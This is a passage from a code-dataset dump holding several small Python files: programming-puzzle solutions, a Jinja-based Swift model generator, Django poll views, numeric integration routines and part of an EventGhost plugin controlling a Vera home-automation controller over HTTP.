like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"samridh90/CodeEval"},"repo_url":{"kind":"string","value":"https://github.com/samridh90/CodeEval"},"snapshot_id":{"kind":"string","value":"a3cfa7e147cd2421ce05a44edd393064984ca7e2"},"revision_id":{"kind":"string","value":"f3f0e075f50aa1dd20858e808750d5b36229d7e2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-03-12T23:00:02.799584","string":"2021-03-12T23:00:02.799584"},"revision_date":{"kind":"timestamp","value":"2014-01-26T13:12:51","string":"2014-01-26T13:12:51"},"committer_date":{"kind":"timestamp","value":"2014-01-26T13:12:51","string":"2014-01-26T13:12:51"},"github_id":{"kind":"number","value":15679979,"string":"15,679,979"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from sys import argv\n\n\nMAX_VAL = 26\n\n\ndef getNumberDecodings(msg):\n if not msg or len(msg) == 1:\n return 1\n\n count = 0\n num_chrs = 1\n while True:\n chars = msg[:num_chrs]\n\n if len(chars) != num_chrs:\n break\n if int(chars) > MAX_VAL:\n break\n\n count += getNumberDecodings(msg[num_chrs:])\n num_chrs += 1\n\n return count\n\n\nif __name__ == '__main__':\n ipList = open(argv[1]).readlines()\n for ip in ipList:\n ip = ip.strip()\n print getNumberDecodings(ip)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":976,"cells":{"__id__":{"kind":"number","value":1881195708463,"string":"1,881,195,708,463"},"blob_id":{"kind":"string","value":"6229811ddb0153f5527cbb944dd688d6f13e66f6"},"directory_id":{"kind":"string","value":"96c35a7fd4a2a17c0e4be577496e9c75699bb866"},"path":{"kind":"string","value":"/generate_model.py"},"content_id":{"kind":"string","value":"7169d429f0ac45b3391d45f41e33512e4c5387df"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"jqsilver/modelgen"},"repo_url":{"kind":"string","value":"https://github.com/jqsilver/modelgen"},"snapshot_id":{"kind":"string","value":"16e6f9694afb834f3b5e7494f3e15666d0e734b5"},"revision_id":{"kind":"string","value":"9101018e91c4ce222efa176673af5b9e3921f5f7"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T18:08:32.843159","string":"2016-09-05T18:08:32.843159"},"revision_date":{"kind":"timestamp","value":"2014-10-20T20:23:13","string":"2014-10-20T20:23:13"},"committer_date":{"kind":"timestamp","value":"2014-10-20T20:23:13","string":"2014-10-20T20:23:13"},"github_id":{"kind":"number","value":25374791,"string":"25,374,791"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/bin/python\nimport json\nimport jinja2\nimport string\n\n\ndef getTemplate(name):\n return env.get_template(name)\n\ndef validateMapping(class_json, json_to_property):\n mapped_properties = json_to_property.values()\n for prop_name in class_json[\"properties\"].keys():\n if prop_name not in mapped_properties:\n print \"// missing \"+prop_name\n return False\n return True\n\n# formats a (prop_name, prop_type) tuple into an argument.\n# takes a tuple for easy calling with map\ndef formatForArgument(property_tuple):\n (prop_name, prop_type) = property_tuple\n return prop_name+\": \"+prop_type\n\n\n\n#set up templates\nloader = jinja2.FileSystemLoader(searchpath=\"./templates\")\nenv = jinja2.Environment(loader=loader, trim_blocks=True, lstrip_blocks=True)\nenv.filters['formatForArgument'] = formatForArgument\n\ntemplate = env.get_template('class.swift')\n#template = env.get_template('test.txt')\n\nclass_spec_json = json.loads(open('./example/ExampleSpec.json', 'r').read())\njson_key_to_property = json.loads(open('./example/ExampleMapping.json', 'r').read())\n\nif not validateMapping(class_spec_json, json_key_to_property):\n print \"// Missing required properties in mapping\"\n\n\n# TODO: figure out how to do this in Jinja instead\n#class_spec_json['arg_list'] = \", \".join([prop_name+\": \"+prop_type for prop_name, prop_type in class_spec_json['properties'].items()])\n\ndef formatForArgumentWithCast(mapping_tuple):\n (json_key, prop_name) = mapping_tuple\n prop_type = class_spec_json[\"properties\"][prop_name]\n return '{0}: json[\"{1}\"] as {2}'.format(prop_name, json_key, prop_type)\nenv.filters['formatForArgumentWithCast'] = formatForArgumentWithCast\n\nclass_spec_json['json_key_to_property'] = json_key_to_property\n\nprint template.render(class_spec_json)\n\n\n# just had this crazy idea that could curry the initializer\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":977,"cells":{"__id__":{"kind":"number","value":12438225319652,"string":"12,438,225,319,652"},"blob_id":{"kind":"string","value":"10b446d170560409fd1be10ae9ea105e5e643949"},"directory_id":{"kind":"string","value":"caa4e256c61bca5f9f9f472f9d2504bfc1eec1c5"},"path":{"kind":"string","value":"/1-100/p3.py"},"content_id":{"kind":"string","value":"9dd8661643b3a488c02573bf8c02cae70092c312"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"g-jackson/spoj"},"repo_url":{"kind":"string","value":"https://github.com/g-jackson/spoj"},"snapshot_id":{"kind":"string","value":"445b1171817c6954c0c93f981c4f8b3a459d0919"},"revision_id":{"kind":"string","value":"c106eebfe439a68ece6210a1342b9046d3d8ddb0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-03T00:55:12.208600","string":"2016-09-03T00:55:12.208600"},"revision_date":{"kind":"timestamp","value":"2014-06-05T14:20:20","string":"2014-06-05T14:20:20"},"committer_date":{"kind":"timestamp","value":"2014-06-05T14:20:20","string":"2014-06-05T14:20:20"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import sys\nfor x in range (24):\n line = sys.stdin.readline().split()\n x = line[0]\n y = line[1]\n if y in x:\n print 1\n else:\n print 0\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":978,"cells":{"__id__":{"kind":"number","value":5308579586745,"string":"5,308,579,586,745"},"blob_id":{"kind":"string","value":"52214f91851387857c406a1e7e55b760af81e5cc"},"directory_id":{"kind":"string","value":"d5f77d78fb7c997d430feb8c324cc71177c53d77"},"path":{"kind":"string","value":"/__init__.py"},"content_id":{"kind":"string","value":"34c979d169241078023c69d9f3040a6cc70d42e9"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"acha21/LSTD"},"repo_url":{"kind":"string","value":"https://github.com/acha21/LSTD"},"snapshot_id":{"kind":"string","value":"7b489ede5928f21d2d2421f4b891d1a6839e88f4"},"revision_id":{"kind":"string","value":"62fd1737196fd28417b5176b7b49adc09d9e2f64"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-22T09:42:11.713295","string":"2021-01-22T09:42:11.713295"},"revision_date":{"kind":"timestamp","value":"2014-10-29T08:39:11","string":"2014-10-29T08:39:11"},"committer_date":{"kind":"timestamp","value":"2014-10-29T08:39:11","string":"2014-10-29T08:39:11"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 16 20:10:36 2014\n\n@author: yeonchan\n\"\"\"\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":979,"cells":{"__id__":{"kind":"number","value":6313601967609,"string":"6,313,601,967,609"},"blob_id":{"kind":"string","value":"6a826fb8c65bdd5cca88c3829f064a0dcc4a0be5"},"directory_id":{"kind":"string","value":"bdd2d24abf63b81be6504b3555bda9558d7f45cd"},"path":{"kind":"string","value":"/mysite/polls/views.py"},"content_id":{"kind":"string","value":"cc2abdc8211b3ede4362c61b4a1fc22f679a3df2"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"dibaggioj/virtualenv_python-3-3_django"},"repo_url":{"kind":"string","value":"https://github.com/dibaggioj/virtualenv_python-3-3_django"},"snapshot_id":{"kind":"string","value":"fc9e06a09b1c892515edf858239aa4a033ffcba0"},"revision_id":{"kind":"string","value":"81965bbba681a6de0f14e16b716b95c09d1a8465"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-01T16:45:01.045364","string":"2021-01-01T16:45:01.045364"},"revision_date":{"kind":"timestamp","value":"2014-12-14T22:35:28","string":"2014-12-14T22:35:28"},"committer_date":{"kind":"timestamp","value":"2014-12-14T22:35:28","string":"2014-12-14T22:35:28"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.shortcuts import get_object_or_404, render\nfrom django.http import Http404\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.utils import timezone\nfrom django.views import generic\n#from django.template import RequestContext, loader\nfrom django.shortcuts import render_to_response\nfrom django.template.context import RequestContext\n\nfrom polls.models import Choice, Question\nfrom polls.forms import QuestionForm\n\n# Create your views here.\n\n# Using two generic views: ListView and DetailView, to display a list of objects and display a detail page for a\n# particular type of object respectively\n\n\nclass IndexView(generic.ListView):\n template_name = 'polls/index.html'\n context_object_name = 'latest_question_list'\n\n def get_queryset(self):\n \"\"\"\n Return the last five published questions.\n \"\"\"\n return Question.objects.filter( # returns a queryset containing Questions whose pub_date is less than or equal\n # to - that is, earlier than or equal to - timezone.now\n pub_date__lte=timezone.now()\n ).order_by('-pub_date')[:5]\n\n\nclass DetailView(generic.DetailView):\n model = Question\n template_name = 'polls/detail.html'\n\n def get_queryset(self):\n \"\"\"Excludes any questions that aren't published yet\"\"\"\n return Question.objects.filter(pub_date__lte=timezone.now())\n\n\nclass ResultsView(generic.DetailView):\n model = Question\n template_name = 'polls/results.html'\n\n def get_queryset(self):\n \"\"\"Excludes any questions that aren't published yet\"\"\"\n return Question.objects.filter(pub_date__lte=timezone.now())\n\n\ndef vote(request, question_id):\n p = get_object_or_404(Question, pk=question_id)\n try:\n selected_choice = p.choice_set.get(pk=request.POST['choice']) # request.POST['choice'] returns the ID of the\n # selected choice, as a string (note: request.POST values are always strings). Unlike request.GET (which also\n # accesses GET data in the same way), request.POST alters data via a POST call\n except (KeyError, Choice.DoesNotExist):\n # Redisplay the question voting form.\n return render(request, 'polls/detail.html', {\n 'question': p,\n 'error_message': \"You didn't select a choice.\",\n })\n else:\n selected_choice.votes += 1\n selected_choice.save()\n return HttpResponseRedirect(reverse('polls:results', args=(p.id,))) # Redirect to results page.\n # Unlike HttpResponse, HttpResponseRedirect takes a single argument: the URL to which the user will be\n # redirected (see the following point for how we construct the URL in this case). Using the reverse()\n # function helps avoid hacing to hardcode a URL in the view function; it is given the name of the view we\n # want to pass control to and the variable portion of the URL pattern that points to the view Original:\n # return HttpResponse(\"You're voting on question %s.\" % question_id)\n # Always return an HttpResponseRedirect after successfully dealing with Post data. This prevents data from\n # being posted twice if a user his the Back button\n\n\ndef get_question(request):\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = QuestionForm(request.POST)\n # check whether it's valid:\n if form.is_valid():\n question_body = request.POST.get('your_question', '')\n new_question = Question(question_text=question_body, pub_date=timezone.now())\n new_question.save()\n\n characters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w',\n 'x','y','z']\n for i in range(0, 5):\n answer_text = 'your_answer_' + characters[i]\n new_answer = request.POST.get(answer_text, '')\n if new_answer != '':\n new_choice = Choice(question=new_question, choice_text=new_answer, votes=0)\n new_choice.save()\n # process the data in form.cleansed_data as required\n # ...\n # redirect to a new URL:\n return HttpResponseRedirect('/polls/')\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = QuestionForm()\n\n return render(request, 'polls/question.html', {'form': form})\n\n\n\n\n\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":980,"cells":{"__id__":{"kind":"number","value":11905649363507,"string":"11,905,649,363,507"},"blob_id":{"kind":"string","value":"3284617926a7cd752566725588c08d4f6a7d2d2d"},"directory_id":{"kind":"string","value":"71b7e246bf7ca963221463da7d04770ba5ff3994"},"path":{"kind":"string","value":"/experiments/computation/themain.py"},"content_id":{"kind":"string","value":"6cf31b82d743f0eaa45b4cbe3f218592638ec60f"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"paskma/framework-parlib"},"repo_url":{"kind":"string","value":"https://github.com/paskma/framework-parlib"},"snapshot_id":{"kind":"string","value":"d82f29160eba2d9883ccabac8e398a32f165bd17"},"revision_id":{"kind":"string","value":"aa5caf4e01f159da611f09210ebc1c8d0ffadef6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T22:05:45.259390","string":"2021-01-10T22:05:45.259390"},"revision_date":{"kind":"timestamp","value":"2013-03-25T09:30:03","string":"2013-03-25T09:30:03"},"committer_date":{"kind":"timestamp","value":"2013-03-25T09:30:03","string":"2013-03-25T09:30:03"},"github_id":{"kind":"number","value":4039715,"string":"4,039,715"},"star_events_count":{"kind":"number","value":2,"string":"2"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from sys import argv\nfrom math import pi, sin\n\nfrom parlib.directive import POSIX\n#from parlib.rmath import sin #supported only for C, does not bring a speedup\n\ndef computation_poly():\n\tresult = 0.0\n\tdelta = 1e-9\n\tstart = 0.0\n\tstop = 1.0\n\tx = start\n\twhile x <= stop:\n\t\ty = (x * x + 7.0 * x + 1) / 3.0\n\t\tresult += delta * y\n\t\tx += delta\n\t\n\treturn result\n\ndef computation_sin():\n\tresult = 0.0\n\tdelta = 1e-8\n\tstart = 0.0\n\tstop = pi/2.0\n\tx = start\n\twhile x <= stop:\n\t\ty = sin(x)\n\t\tresult += delta * y\n\t\tx += delta\n\t\n\treturn result\n\n\ndef main(argv):\t\t\t\t\n\ttry:\n\t\tn = int(argv[1])\n\texcept:\n\t\tn = 0\n\tif n == 0:\n\t\tx = computation_poly()\n\telif n == 1:\n\t\tx = computation_sin()\n\telse:\n\t\tx = -1\n\tprint n, \" \", x\n\nif __name__ == \"__main__\":\n\tfrom sys import argv\n\tmain(argv)\n\ndef entry_point(argv):\n\tif POSIX:\n\t\tfrom parlib.rthreading import init_threads\n\t\tinit_threads()\n\tmain(argv)\n\treturn 0\n\ndef target(*argv):\n\treturn entry_point, None\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":981,"cells":{"__id__":{"kind":"number","value":12627203867783,"string":"12,627,203,867,783"},"blob_id":{"kind":"string","value":"613383c635c4dd6f7f350035ee13db9d1458f6ae"},"directory_id":{"kind":"string","value":"a8e7b19e916236e0d6e561d5b539d697e39f17cb"},"path":{"kind":"string","value":"/exact.py"},"content_id":{"kind":"string","value":"2ba03f68c897b778ff5f36e97b27c29fa048052d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"ivyl/graph-security"},"repo_url":{"kind":"string","value":"https://github.com/ivyl/graph-security"},"snapshot_id":{"kind":"string","value":"32e4cef8ddebdcc1ec0b0073e269f9b6faba2e9b"},"revision_id":{"kind":"string","value":"d098455b35fc5917ace9bd4678f2d605cee64e0f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-07T19:05:38.096763","string":"2016-09-07T19:05:38.096763"},"revision_date":{"kind":"timestamp","value":"2014-02-11T11:48:53","string":"2014-02-11T11:48:53"},"committer_date":{"kind":"timestamp","value":"2014-02-11T11:48:53","string":"2014-02-11T11:48:53"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import itertools\n\ndef all_subsets(iterable):\n xs = list(iterable)\n combinations = [itertools.combinations(xs,n) for n in range(len(xs)+1)]\n return itertools.chain.from_iterable(combinations)\n\n\ndef is_graph_secure(gs):\n secure_subsets = all_subsets(gs.secure_node_set)\n\n for subset in secure_subsets:\n if not gs.sec_condition(subset):\n print subset\n return (False, len(subset)) \n\n return (True, 0) \n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":982,"cells":{"__id__":{"kind":"number","value":12790412627479,"string":"12,790,412,627,479"},"blob_id":{"kind":"string","value":"a5502cc0869b6e67793bbb6a00bb5ed22dc80397"},"directory_id":{"kind":"string","value":"5e0caebe9538b8520bce520fb265951e7718a94b"},"path":{"kind":"string","value":"/visualization/data/formatjson.py"},"content_id":{"kind":"string","value":"19bd13e201dccc309b57c6ed422854e45a0be992"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"joulesm/Interest-Networks"},"repo_url":{"kind":"string","value":"https://github.com/joulesm/Interest-Networks"},"snapshot_id":{"kind":"string","value":"3be50981db7ea6b410ca6da1ed0d28f2f75a78c7"},"revision_id":{"kind":"string","value":"f32b2ec6c10fc1a508efd3682046092016de562b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T16:23:51.374919","string":"2016-09-05T16:23:51.374919"},"revision_date":{"kind":"timestamp","value":"2012-05-25T18:17:08","string":"2012-05-25T18:17:08"},"committer_date":{"kind":"timestamp","value":"2012-05-25T18:17:08","string":"2012-05-25T18:17:08"},"github_id":{"kind":"number","value":4448616,"string":"4,448,616"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import json\n\njson_data = open('interests.json').read()\n\ntemp = json.loads(json_data)\n\nwriter = open('p-interests.json', 'w')\n\nwriter.write(json.dumps(temp, sort_keys=True, indent=4))"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":983,"cells":{"__id__":{"kind":"number","value":11287174103557,"string":"11,287,174,103,557"},"blob_id":{"kind":"string","value":"5d20293a1f9d02cf00a0f6407635abc208687f04"},"directory_id":{"kind":"string","value":"c0921576b014b81b92b309345dbc50fa5cdcf778"},"path":{"kind":"string","value":"/Vera/__init__.py"},"content_id":{"kind":"string","value":"3649266b25fe86eccfd048ed50cb7f7938243a3a"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"naething/vera-eventghost"},"repo_url":{"kind":"string","value":"https://github.com/naething/vera-eventghost"},"snapshot_id":{"kind":"string","value":"32b1404dff9cf8c98125e1333c61060252f7df74"},"revision_id":{"kind":"string","value":"5dd032e3ea8af0fd02351fc395bd6c4bc975bc8a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-19T11:39:56.458042","string":"2021-01-19T11:39:56.458042"},"revision_date":{"kind":"timestamp","value":"2013-03-30T15:06:07","string":"2013-03-30T15:06:07"},"committer_date":{"kind":"timestamp","value":"2013-03-30T15:06:07","string":"2013-03-30T15:06:07"},"github_id":{"kind":"number","value":5215610,"string":"5,215,610"},"star_events_count":{"kind":"number","value":5,"string":"5"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import eg\nimport urllib\nimport json\n\nfrom VeraClient import *\nfrom VeraDevice import *\nfrom VeraAsyncDispatcher import *\n\neg.RegisterPlugin(\n name = \"MiCasaVerde Vera\",\n author = \"Rick Naething\",\n version = \"0.0.4\",\n kind = \"other\",\n description = \"Control Over Devices on Vera\"\n)\n\n#-----------------------------------------------------------------------------\nclass Vera(eg.PluginBase):\n\n def __init__(self):\n self.AddAction(SetSwitchPower)\n self.AddAction(SetDimming)\n self.AddAction(RunScene)\n self.HTTP_API = VERA_HTTP_API()\n self.dispatcher = VeraAsyncDispatcher()\n self.vera = []\n self.verbose = True\n eg.RestartAsyncore()\n\n def Configure(self, ip=\"127.0.0.1\", port=\"3480\", verbose=True):\n panel = eg.ConfigPanel()\n textControl = wx.TextCtrl(panel, -1, ip)\n textControl2 = wx.TextCtrl(panel, -1, port)\n checkbox = panel.CheckBox(verbose, 'Verbose Outputs')\n panel.sizer.Add(wx.StaticText(panel, -1, \"IP address of Vera\"))\n panel.sizer.Add(textControl)\n panel.sizer.Add(textControl2)\n panel.sizer.Add(checkbox)\n while panel.Affirmed():\n panel.SetResult(textControl.GetValue(), textControl2.GetValue(), checkbox.GetValue())\n\n def __start__(self, ip='127.0.0.1', port='3480', verbose=True):\n self.ip = ip\n self.port = port\n self.verbose = verbose\n self.HTTP_API.connect(ip=ip, port=port)\n self.vera = VeraClient(ip, self.veraCallback, self.veraDebugCallback, self.dispatcher)\n\n def __stop__(self):\n pass\n\n def __close__(self):\n pass \n \n def veraCallback(self, msg, state=tuple()):\n # msg is either a string or a VeraDevice\n if isinstance(msg, VeraDevice):\n room = 'No Room'\n if msg.room in self.vera.rooms:\n room = self.vera.rooms[msg.room]\n event = room + '.' + str(msg)\n else:\n event = msg\n self.TriggerEvent(event)\n \n def veraDebugCallback(self, msg, msg2=False):\n if self.verbose:\n event = 'DEBUG.' + msg\n self.TriggerEvent(event)\n\n#----------------------------------------------------------------------------- \nclass VERA_HTTP_API:\n\n def __init__(self):\n self.ip = \"127.0.0.1\"\n self.port = \"3480\"\n return\n\n def connect(self, ip=None, port=None):\n if ip: self.ip = ip\n if port: self.port = port\n print 'HTTP API connected'\n\n def send(self, url):\n try:\n #responce = urllib.urlopen('http://'+self.ip+':'+self.port+url).readlines()\n consumer = urllib.urlopen('http://'+self.ip+':'+self.port+url)\n responce = consumer.readlines()\n consumer.close()\n except IOError:\n eg.PrintError('HTTP API connection error:'+' http://'+self.ip+':'+self.port+'\\n'+ url)\n else:\n return\n\n def close(self):\n print 'HTTP API connection closed'\n\n#-----------------------------------------------------------------------------\nclass RunScene(eg.ActionBase):\n name = \"Run Scene\"\n description = \"Runs a Vera Scene\"\n\n def __call__(self, device):\n url = \"/data_request?id=lu_action&serviceId=urn:micasaverde-com:serviceId:HomeAutomationGateway1&action=RunScene&SceneNum=\"\n url += str(device)\n responce = self.plugin.HTTP_API.send(url)\n\n def Configure(self, device=1):\n panel = eg.ConfigPanel()\n deviceCtrl = panel.SpinIntCtrl(device)\n panel.AddLine(\"Set Device\", deviceCtrl)\n while panel.Affirmed():\n panel.SetResult(deviceCtrl.GetValue())\n \n#-----------------------------------------------------------------------------\nclass SetDimming(eg.ActionBase):\n name = \"Set Light Level\"\n description = \"Sets a light to a percentage (%).\"\n\n def __call__(self, device, percentage):\n url = \"/data_request?id=lu_action&DeviceNum=\"\n url += str(device)\n url += \"&serviceId=urn:upnp-org:serviceId:Dimming1&action=SetLoadLevelTarget&newLoadlevelTarget=\"\n url += str(percentage)\n responce = self.plugin.HTTP_API.send(url)\n\n def GetLabel(self, device, percentage):\n return \"Set Dimmable Light: \" + str(device) + \": \" + str(percentage)\n\n def Configure(self, device=1, percentage=100):\n panel = eg.ConfigPanel()\n deviceCtrl = panel.SpinIntCtrl(device)\n valueCtrl = panel.SpinNumCtrl(percentage, min=0, max=100)\n panel.AddLine(\"Set Device\", deviceCtrl)\n panel.AddLine(\"Dim to\", valueCtrl, \"percent.\")\n while panel.Affirmed():\n panel.SetResult(deviceCtrl.GetValue(), valueCtrl.GetValue())\n \n#-----------------------------------------------------------------------------\nclass SetSwitchPower(eg.ActionBase):\n name = \"Set Binary Power\"\n description = \"Turn a switch on or off\"\n functionList = [\"Off\", \"On\"]\n \n def __call__(self, device, value):\n url = \"/data_request?id=lu_action&DeviceNum=\"\n url += str(device)\n url += \"&serviceId=urn:upnp-org:serviceId:SwitchPower1&action=SetTarget&newTargetValue=\"\n url += 